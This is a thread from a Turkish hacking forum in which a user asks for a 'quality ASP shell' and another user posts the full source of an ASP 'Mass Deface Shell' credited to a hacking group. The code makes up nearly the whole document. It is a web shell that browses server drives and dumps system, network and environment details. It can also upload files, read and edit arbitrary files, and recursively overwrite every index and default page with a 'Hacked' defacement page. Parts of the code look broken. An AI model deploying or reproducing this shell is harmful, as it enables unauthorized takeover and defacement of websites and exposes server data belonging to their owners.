Arkadaşlar Çok Kaliteli Bir ASP Shell Verin Geçtikten Sonra Vericem Shell Yolunu Ama Çook Kaliteli Olsun
⚠️ ÖNEMLİ DUYURU — KİŞİSEL VERİ VE YASADIŞI PAYLAŞIMLAR
Forumda kişisel bilgi (ad, adres, telefon vb.) veya yasa dışı içerik paylaşımı kesinlikle yasaktır. Bu tür paylaşımlar KVKK ve ilgili yasalar gereği suç teşkil eder.
Paylaşım yapan kullanıcıların hesapları kalıcı olarak kapatılacak ve resmî makamlara bildirilecektir. Forum yönetimi, yasal zorunluluklar gereği IP ve oturum kayıtlarını saklamaktadır.
Lütfen gizliliğe ve topluluk kurallarına dikkat ediniz. — Ajanlar.Org Yönetimi
ACİL Bİ BAKIN !
- Konbuyu başlatan sanalasker
- Başlangıç tarihi
Kod:
<%
On Error Resume Next
Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
If request("path") <> "" then
Set ObjPasta = Objeto.GetFolder(request("path"))
Else
if request("t5") <> "" then
Set ObjPasta = Objeto.GetFolder(request("t5"))
Else
Set ObjPasta = Objeto.GetFolder(server.mappath("."))
end if
End If
If Trim(Request.QueryString("path")) = "" Then
caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
pos = Instr(caminho,"\")
pos2 = 1
While pos2 <> 0
If Instr(pos + 1,caminho,"\") <> 0 Then
pos = Instr(pos + 1,caminho,"\")
Else
pos2 = 0
End If
Wend
path = Left(caminho,pos)
Else
path = trim(Request.QueryString("path")) & "\"
End If
pagename = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME")))
Function functionfooter
response.write "<br><hr><font face='Fixedsys'><p align='center'><font color='#FF0000'> / </font>"
response.write "<a href='javascript:history.go(-1)'>"
response.write "<font color='red'> ÇIKIS</a></font><font color='#FF0000'> / </font>"
response.write "<a href='http://m4rc0-security.blogspot.com/" & pagename & "'>"
response.write "<font color='red'> Priv8 Blog </a></font>"
response.write "<font color='red'> / </font>"
response.write "<hr><font color='red' size='1'><br> #The xatlivacip ASP Mass Attack <---- ajanlar.org # m4rc0-security.blogspot.com/#</font></b></font></p>"
End Function
%>
<html>
<head>
<title>Ajanlar.OrG - ASP Mass Deface Shell -The xatlivacip</title>
<style>
body{
scrollbar-arrow-color: #BFBFBF;
scrollbar-3dlight-color: #FFFFFF;
scrollbar-highlight-color: #9F9F9F;
scrollbar-face-color: #FFFFFF;
scrollbar-shadow-color: #C0C0C0;
scrollbar-darkshadow-color: #FFFFFF;
scrollbar-track-color: #C0C0C0;}
</style>
</head>
<body bgcolor="#E4E4E4" text="#808080" leftMargin="0" topMargin="0">
<center>
<p><font color="#000080" size="4">Ajanlar.OrG - ASP Mass Deface Shell<br>
Turkish Hacking GrouP Priv8<br>
</font><font color="#000080">The xatlivacip</font></p>
<hr>
<p><font face="Fixedsys" color="#000080">
<a href="<%=pagename%>" style="text-decoration: none">
<font color="#000080">Ana Sayfa</font></a></font><font face="Fixedsys" color="#FF0000">
/ </font><font face="Fixedsys" color="#000080">
<a href="<%=pagename%>?status=1" style="text-decoration: none">
<font color="#000080">Mass Deface</font></a></font><font face="Fixedsys" color="#FF0000">
/ </font><font face="Fixedsys" color="#000080">
<a href="<%=pagename%>?status=2" style="text-decoration: none">
<font color="#000080">Sistem Bilgisi</font></a></font></u><font face="Fixedsys" color="#000080">
</font><font face="Fixedsys" color="#FF0000">/ </font>
<a href="<%=pagename%>?status=3" style="text-decoration: none">
<font face="Fixedsys" color="#000080">Upload</font></u></span><font face="Fixedsys" color="#000080">
</font></a><font face="Fixedsys" color="#FF0000">/ </font>
<a href="<%=pagename%>?status=4" style="text-decoration: none">
<font face="Fixedsys" color="#000080">Spammer</font></u></span><font face="Fixedsys" color="#000080">
</font></a><font face="Fixedsys" color="#FF0000">/ </font>
<a style="text-decoration: none" href="<%=pagename%>?status=6">
<font face="Fixedsys" color="#000080">Veritabany</font></u></span><font face="Fixedsys" color="#000080">
</font></a><font face="Fixedsys" color="#FF0000">/ </font>
<a href="<%=pagename%>?status=5" style="text-decoration: none">
<font face="Fixedsys" color="#000080">Info/Yleti?im</font></a></p>
</center><font face="Fixedsys" color="#000000"><hr></font><center><%
r_status = Request.QueryString("status")
SELECT CASE r_status
CASE "1" 'Mass Deface
%> <b><font color="#000080" face="Tahoma">MASS DEFACED<br>
</font></b><form method="POST" action="<%=pagename%>?status=f1">
<font face="Tahoma">
<font color="green">Bulundugun Dizin<font size="2">:</font></font></font></font><font color="#FF0000" face="Tahoma" size="2">
<%=server.mappath(pagename)%></font><font color="#000000" face="Tahoma" size="2">
<br>
<br>
</font><font color="#000080" face="Tahoma">Git: </font>
<font face="Tahoma">
<input type="text" name="T3" size="44" style="font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<%=server.mappath("\")%>">
<br>
</font>
<b><font size="2" face="Tahoma"><br>
</font></b><font face="Tahoma"><b>
<textarea rows="15" name="T4" cols="120" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0"><title> [ Turkish Hacking GrouP ] <title>
<p align="center"><b><font color="#ff0000" face="Courier New" size="6">
[ Turkish Hacking GrouP ]<br>
</font></b></p>
<p align="center"><b><font face="Courier New" size="4" color="#808080">
Hacked The xatlivacip!!!</font></b></p>
<p align="center"><b><font face="Courier New" size="4" color="#808080">
The world isn't insurance!!!<br>
<br>
For a better world</font></b></p>
<p align="center"></p>
<p align="center"></p>
<p align="center"></p>
<p align="center"><b><font face="Courier New" size="4" color="#808080">
Cast. ajanlar.org</font></b></p>
<p align="center"></p></textarea> </b> <br>
<br>
<b><font color="green">Yndexlenicek Yeri Seçin:</font></b><br>
<br>
Sayfa 1: </font>
<input type="text" name="P1" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><font face="Tahoma">
Sayfa 2: </font>
<input type="text" name="P2" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><p>
<font face="Tahoma">
<br>
</font>
<input type="submit" value="Mass Defaced" name="B1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: red"><font face="Tahoma">
<br>
<br>
Yardym* Yukarydaki Yki Kutucuga A??agydakilerden ikisini yazyn:<br>
index.html, index.htm, index.asp, defaul.html, default.htm, default.asp.</font></p>
</form>
<%
Response.Write FunctionFooter
CASE "2" 'Informções do sistema
Dim arrListaComponentes(47)
arrListaComponentes(0) = Array( "AB Mailer","ABMailer.Mailman" )
arrListaComponentes(1) = Array( "ABC Upload","ABCUpload4.XForm" )
arrListaComponentes(2) = Array( "ActiveFile","ActiveFile.Post" )
arrListaComponentes(3) = Array( "ActiveX Data Object","ADODB.Connection" )
arrListaComponentes(4) = Array( "Adiscon SimpleMail","ADISCON.SimpleMail.1" )
arrListaComponentes(5) = Array( "ASP DNS", "AspDNS.Lookup" )
arrListaComponentes(6) = Array( "ASP HTTP","AspHTTP.Conn" )
arrListaComponentes(7) = Array( "ASP Image","AspImage.Image" )
arrListaComponentes(8) = Array( "ASP Mail","SMTPsvg.Mailer" )
arrListaComponentes(9) = Array( "ASP NNTP News", "AspNNTP.Conn" )
arrListaComponentes(10) = Array( "ASP POP 3", "POP3svg.Mailer" )
arrListaComponentes(11) = Array( "ASP Simple Upload","ASPSimpleUpload.Upload" )
arrListaComponentes(12) = Array( "ASP Smart Cache","aspSmartCache.SmartCache" )
arrListaComponentes(13) = Array( "ASP Smart Mail","aspSmartMail.SmartMail" )
arrListaComponentes(14) = Array( "ASP Smart Upload","aspSmartUpload.SmartUpload" )
arrListaComponentes(15) = Array( "ASP Tear","SOFTWING.ASPtear" )
arrListaComponentes(16) = Array( "ASP Thumbnailer","ASPThumbnailer.Thumbnail" )
arrListaComponentes(17) = Array( "ASP WhoIs","WhoIs2.WhoIs" )
arrListaComponentes(18) = Array( "ASPSoft NT Object","ASPSoft.NT" )
arrListaComponentes(19) = Array( "ASPSoft Upload","ASPSoft.Upload" )
arrListaComponentes(20) = Array( "CDO NTS","CDONTS.NewMail" )
arrListaComponentes(21) = Array( "Chestysoft Image","csImageFile.Manage" )
arrListaComponentes(22) = Array( "Chestysoft Upload","csASPUpload.Process" )
arrListaComponentes(23) = Array( "Dimac JMail","JMail.Message" )
arrListaComponentes(24) = Array( "Distinct SMTP","DistinctServerSmtp.SmtpCtrl" )
arrListaComponentes(25) = Array( "Dundas Mailer","Dundas.Mailer" )
arrListaComponentes(26) = Array( "Dundas Upload","Dundas.Upload.2" )
arrListaComponentes(27) = Array( "Dundas PieChartServer", "Dundas.ChartServer.2")
arrListaComponentes(28) = Array( "Dundas 2D Chart", "Dundas.ChartServer2D.1")
arrListaComponentes(29) = Array( "Dundas 3D Chart", "Dundas.ChartServer")
arrListaComponentes(30) = Array( "Dynu Encrypt","Dynu.Encrypt" )
arrListaComponentes(31) = Array( "Dynu HTTP","Dynu.HTTP" )
arrListaComponentes(32) = Array( "Dynu Mail","Dynu.Email" )
arrListaComponentes(33) = Array( "Dynu Upload","Dynu.Upload" )
arrListaComponentes(34) = Array( "Dynu WhoIs","Dynu.Whois" )
arrListaComponentes(35) = Array( "Easy Mail","EasyMail.SMTP.5" )
arrListaComponentes(36) = Array( "File System Object","Scripting.FileSystemObject" )
arrListaComponentes(37) = Array( "Ticluse Teknologi HTTP","InteliSource.Online" )
arrListaComponentes(38) = Array( "Last Mod","LastMod.FileObj" )
arrListaComponentes(39) = Array( "Microsoft XML Engine","Microsoft.XMLDOM" )
arrListaComponentes(40) = Array( "Persits ASP JPEG","Persits.Jpeg" )
arrListaComponentes(41) = Array( "Persits ASPEmail","Persits.MailSender" )
arrListaComponentes(42) = Array( "Persits ASPEncrypt","Persits.CryptoManager" )
arrListaComponentes(43) = Array( "Persits File Upload","Persits.Upload.1" )
arrListaComponentes(44) = Array( "SMTP Mailer","SmtpMail.SmtpMail.1" )
arrListaComponentes(45) = Array( "Soft Artisans File Upload","SoftArtisans.FileUp" )
arrListaComponentes(46) = Array( "Image Size", "ImgSize.Check" )
arrListaComponentes(47) = Array( "Microsoft XML HTTP", "Microsoft.XMLHTTP" )
Response.Write "<b></font><font color='#000080'><p align='center'><br>BYLGYLER<br><b></font>"
Response.Write "<br>Testando atualmente " & UBound(arrListaComponentes) + 1 & " componentes. <br> O processo pode demorar ...<br></font><br><p align='left'>"
' Rotina que verifica o componente do array é um objeto.
Function VerificaObjeto(pComponente)
Dim objComponente
On Error Resume Next
VerificaObjeto = False
Err.Clear
Set objComponente = Server.CreateObject(pComponente)
If Err = 0 Then VerificaObjeto = True
Set objComponente = Nothing
Err.Clear
End Function
Public Function VerificaComponentes()
Dim intCont, strTxt
Dim intIndex, strProv
intCont = 0
strTxt = "<table border='1' bordercolor='black' cellspacing='0' cellpadding='0' align='center' width='400'>"
For intIndex = LBound(arrListaComponentes) To UBound(arrListaComponentes)
strProv = intIndex
strTxt = strTxt & "<tr><td width='200'><font face='tahoma' size='3'>:: " & arrListaComponentes(intIndex)(0) & "</font></td>"
If VerificaObjeto(arrListaComponentes(intIndex)(1)) Then
strTxt = strTxt & "<td align=center><font color='red' face='tahoma' size='3'>< Instalado ></font></td>"
intCont = intCont + 1
Else
strTxt = strTxt & "<td align='center'><font face='tahoma' size='3'>Não Instalado</font></td>"
End If
strTxt = strTxt & "</tr>"
Next
strTxt = strTxt & "</table><br><p align='center'><font face='tahoma' size='3'><b> Somente " & intCont & "</b> componentes instalados de "
strTxt = strTxt & "<b>" & UBound(arrListaComponentes) + 1 & "</b> testados.</font> </p>"
VerificaComponentes = strTxt
End Function
Response.Write VerificaComponentes
Response.Write "<b><font color='#000080'>INFORMAÇÕES DO SISTEMA<br></font>"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Set WshNetwork = Server.CreateObject("WScript.Network")
Set WshShell = Server.CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("SYSTEM")
Response.Write "<br><font size='3'<p align='left'>"
Response.Write "IDENTIFICAÇÃO DE REDE:<br>"
Response.Write "Usuário: " & WshNetwork.UserName & "<br>"
Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "<br>"
Response.Write "Usuário do Domínio: " & WshNetwork.UserDomain & "<br>"
Set Drives = WshNetwork.EnumNetworkDrives
For i = 0 to Drives.Count - 1
Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "<br>"
Next
Response.Write "<br>FÍSICO:<br>"
Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
Response.Write "Número de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
Response.Write "Nível do Processador: " & WshEnv("PROCESSOR_LEVEL") & "<br>"
Response.Write "Revisão do Processador: " & WshEnv("PROCESSOR_REVISION") & "<br>"
Response.Write "<b>LÓGICO:</b><br>"
Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "<br>"
Response.Write "Sistema Operacional: " & WshEnv("OS") & "<br>"
Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "<br>"
Response.Write "Especificação do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
Response.Write "Caminhos no Path: " & WshEnv("PATH") & "<br>"
Response.Write "Executáveis: " & WshEnv("PATHEXT") & "<br>"
Response.Write "Prompt: " & WshEnv("PROMPT") & "<br>"
Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "<br></font></table>"
Set Drives = Nothing
Set WshNetwork = Nothing
Set WshShell = Nothing
Set WshEnv = Nothing
Response.Write "<b></font><font color='#000080'><br><br><p align='center'><br><br>OUTRAS INFORMAÇÕES<br><b></font>"
Response.Write "<textarea rows='19' name='inf1' cols='167' style='font-family: Tahoma; font-size: 8pt; color: #666666; border: 1px solid #808080; background-color: #C0C0C0'>"
for each thing in request.servervariables
tempvalue=request.servervariables(thing)
response.write thing & "=" & tempvalue
%>
<font face="Tahoma">
<br>
<%
next
%>
</textarea></font></p><font face="Tahoma"><br>
<%
Response.Write FunctionFooter
CASE "3" 'Uploader
%> </font>
<form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f2">
<font face="Tahoma">
<b><font color="#000080">Upload de arquivos:</font><br>
<br>
</b>
</font>
<input type="FILE" size="40" name="FILE1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma"><br>
<br>
<font color="#FF0000">Yardym: Dosya Boyutu
30 mb. Yi Geçmesin</font><br>
<br>
</font>
<input type="submit" value="Uploader!!!" name="upload" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0; float:right"><font face="Tahoma"><br>
</font></form>
<%
Response.Write FunctionFooter
CASE "4" 'Spammer
Response.Write "Local do Spammer"
CASE "5" 'Info
Response.Write "# m4rc0-security.blogspot.com/#"
CASE "6" 'Form Procurar MDB
Case "f6" 'Função Procura MDBS
caminho=request("T5")
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminho)
Set ColFolders = MonRep.SubFolders
for each folderItem in ColFolders
folderItem.path
caminho= folderItem.path & "\"
next
CASE "f1" 'Função Mass deface
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
arquivomassdfc = patharquivotxt & "teste.txt"
Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
vetordelinhas = Split(Request.Form("T4"),VbCrLf)
For i = 0 To UBound(vetordelinhas)
Arquivotxt.WriteLine(vetordelinhas(i))
Next
Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
caminho=request("T3")
Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminhodomass)
Set ColFolders = MonRep.SubFolders
for each folderItem in ColFolders
destino1 = folderItem.path & "\index.htm"
destino2 = folderItem.path & "\index.html"
destino3 = folderItem.path & "\index.asp"
destino4 = folderItem.path & "\index.cfm"
destino5 = folderItem.path & "\index.php"
destino6 = folderItem.path & "\default.htm"
destino7 = folderItem.path & "\default.html"
destino8 = folderItem.path & "\default.asp"
destino9 = folderItem.path & "\default.cfm"
destino10 = folderItem.path & "\default.php"
If request("P1") <> "" then
personal1 = request("P1")
destino11 = folderItem.path & "\" & personal1
MeuArquivo.Copy(destino11)
End If
If request("P2") <> "" then
personal2 = request("P2")
destino12 = folderItem.path & "\" & personal2
MeuArquivo.Copy(destino12)
End If
MeuArquivo.Copy(destino1)
MeuArquivo.Copy(destino2)
MeuArquivo.Copy(destino3)
MeuArquivo.Copy(destino4)
MeuArquivo.Copy(destino5)
MeuArquivo.Copy(destino6)
MeuArquivo.Copy(destino7)
MeuArquivo.Copy(destino8)
MeuArquivo.Copy(destino9)
MeuArquivo.Copy(destino10)
Response.Write "<table><tr><td><font face='Tahoma' size='2'>" & folderItem.path & "</td><br>"
If Err.Number = 0 Then
Response.Write "<td valign='baseline'><b><font face='Tahoma' size='2' color='blue'>DeFaCeD!!!</font><b></td></tr>"
Else
Response.Write "<td valign='baseline'><font face='Tahoma' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
End If
Err.Number = 0
Response.Flush
If metodo = "brute" Then
Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
End If
next
End Sub
Response.Write FunctionFooter
CASE "f2" 'Funcao uploader
Set Upload = Server.CreateObject("Persits.Upload")
' Limita o tamanho do arquivo para 30000 bytes (3Mb) de tamanho e gera uma mensagem de erro se o arquivo for maior
Upload.SetMaxSize 30000000, True
' Pula todas as mensagens de erro de servidor para a mensagem de erro personalizada
On Error Resume Next
' Local a ser gravado o upload
Upload.Save "E:\novosite\"
' 8 é o número do erro que corresponde a "Arquivo grande demais"
if Err.Number = 8 Then
Response.Write "Seu arquivo é grande demais. Por favor use um arquivo menor."
Else
If Err <> 0 Then
Response.Write "Um erro foi encontrado: " & Err.Description
Else
Response.Write "Upload realizado com sucesso!"
End If
End If
CASE "f3" ' Mostrar pagina
%>
<form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f4&path=<%=request("path")%>">
<p align="center"><b><font face="Tahoma" color="#000080">VISUALIZAÇÃO DE ARQUIVOS</font><font face="Tahoma" size="2" color="#000000"><br>
</font></b><font color="#000080" face="Tahoma">Bulundugun Dizin:</font><font face="Tahoma" color="#FF0000">
<%=request("path")%> </font><b><font face="Tahoma" size="2" color="#000000"> </font></b><font face="Tahoma"><b><font size="2"><%
On Error Resume Next
if request("path") <> "" then
var_caminho=request("path")
set ObjFso2=server.CreateObject("Scripting.FileSystemObject")
Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False)
If ObjFso2=FileExists(var_caminho) = true then
Do While Not ObjAbreArq2.AtEndOfStream
Linha = Linha & ObjAbreArq2.Readline & chr(13)
Loop
Response.Write "<input type=hidden name=status value='11'>"
Response.Write "<textarea name=text rows=15 cols=120 style='font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0'>"
Response.Write server.HTMLEncode(linha)
Response.Write "</textarea>"
Response.Write "<br><input type=submit value=Kaydet!!! style=font-family:Tahoma;font-size:8pt;color:#000000;border:1px solid #000080;background-color:#C0C0C0;float:center><br></form><center>"
Response.Write FunctionFooter
Else Response.Write "<br> Caminho indicado inexistente... Por favor tente novamente"
Response.Write FunctionFooter
End If
End IF
%>
<script LANGUAGE="JavaScript">
function file()
{
var ForAppending = 8;
var TriStateFalse = 0;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var newFile = fso.OpenTextFile("D:\asus\pw.txt", ForWriting, true, TriStateFalse);
}
</script>
</font></b></font></p>
</form>
<%
Case "f4" 'Salvar texto
caminho=request("path")
set saveTextFile = objFSO.OpenTextFile(caminho,2,true,false)
Set f = fso.CreateTextFile(path)
saveTextFile.Write Request.Form("text")
saveTextFile.close
if err<>0 then
byMsg = "<font color=red>Arquivo não editado!</font><br>"
else
byMsg = "<font color=yellow>Arquivo editado com sucesso:)</font><br>"
end if
Response.Write byMsg
Response.Write FunctionFooter
CASE default 'RESTO
%>
<font color="#000080">
<form method="POST" action="<%=pagename%>">
<%
dir=request("path")
If dir<>"" then
Response.Write "<p align=center>Bulundugun Dizin: </font><font color=#FF0000>" & dir
Else
Response.Write "<p align=center>Bulundugun Dizin: </font><font color=#FF0000>" & server.mappath(pagename)
end if
dir=nothing
%>
<p align="center"><font size="2" color="#000080" face="Tahoma">Git:
<b>
<input type="text" size="44" name="T5" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<%
dir=request("path")
If dir<>"" then
Response.Write dir
Else
dual=Request("T5")
Response.Write dual
end if
%>"> </b></font>
<input type="submit" value="| GO |" name="B13" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma">
<br></font></form>
</p>
<div align="center">
<p><font face="Tahoma"><%
DIM fs, d, dc, s, n, sp
Set fs=Server.Createobject("Scripting.FileSystemObject")
Set dc=fs.drives
%> <%
On Error Resume Next
back1="#D3E2E7"
back2="#AFFEDE"
back=back2
Response.Write "<font color='#000080'>Yerel Disk:</font><br>"
FOR EACH d IN dc
IF (back=back2) THEN
back=back1
ELSE
back=back2
END IF
Response.Write "<u>|<a href=" & pagename & "?path=" & d.driveletter & ":\ style='text-decoration: none'> "
Response.write d.driveletter
Response.Write ": </a>|</u>"
next%> </font> </p>
<p></p>
<div align="center">
<div align="center">
<table border="1" cellpadding="0" cellspacing="0" width="90%" height="20" bgcolor="#C0C0C0" style="border-style:solid; border-width:1; border-collapse: collapse">
<tr>
<td width="27%" height="15" bgcolor="#808080">
<p align="center"><font size="2" color="#FFFFFF" face="Tahoma">Klasör</font></p>
</td>
<td width="73%" height="15" bgcolor="#808080">
<p align="center"><font face="Tahoma" color="#FFFFFF">Dosyalar</font></p>
</td>
</tr>
<tr>
<td valign="top" width="27%" bgcolor="#C0C0C0" height="1">
<font color="#000000" face="Tahoma" size="2">
<%
If CInt(Len(path) - 1) <> 2 Then
barrapos = CInt(InstrRev(Left(path,Len(path) - 1),"\")) - 1
backlevel = Left(path,barrapos)
Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|_| : <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?path=" & backlevel & "'>. . .</a></font></b><br>"
End If
On Error Resume Next
Old = ObjPasta
News = strReverse(old)
News = instr(News, "/")
Leng = Len(old) - News
Old = Left(Old, Leng)
q = 1
syco contador
contador=1
For each Pasta in ObjPasta.Subfolders
PastaName=Pasta.Name
q = q + 1
Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|" & Contador & "| : <a href='" & pagename & "?path=" & Old & "\" & PastaName & "' style=text-decoration: none>" & PastaName & "</a></p></font>"
Contador=contador+1
Next
q = q - 1
%> <br>
<br>
</font></td>
<td valign="top" width="73%" bgcolor="#C0C0C0" height="1"><%
On Error Resume Next
syco contador
Old = ObjPasta
contador=1
For Each Arquivo in ObjPasta.Files
ArquivoNome=Arquivo.Name
Response.Write "<font face='tahoma' color='#000080' size=2>::-:|" & Contador & "| : <a href='" & pagename & "?status=f3&path=" & Old & "\" & ArquivoNome & "' style=text-decoration: none>"& ArquivoNome & "</a></p></font>"
contador=contador+1
next
%><font face="Tahoma"> </font> </td>
</td>
</tr>
</table>
</div>
</div>
</td>
</tr>
</table>
</div>
</div>
</form>
<font face="Tahoma">
<br>
</font>
</font><font face="Tahoma"><%=Functionfooter%><%
END SELECT
%></font></body></html>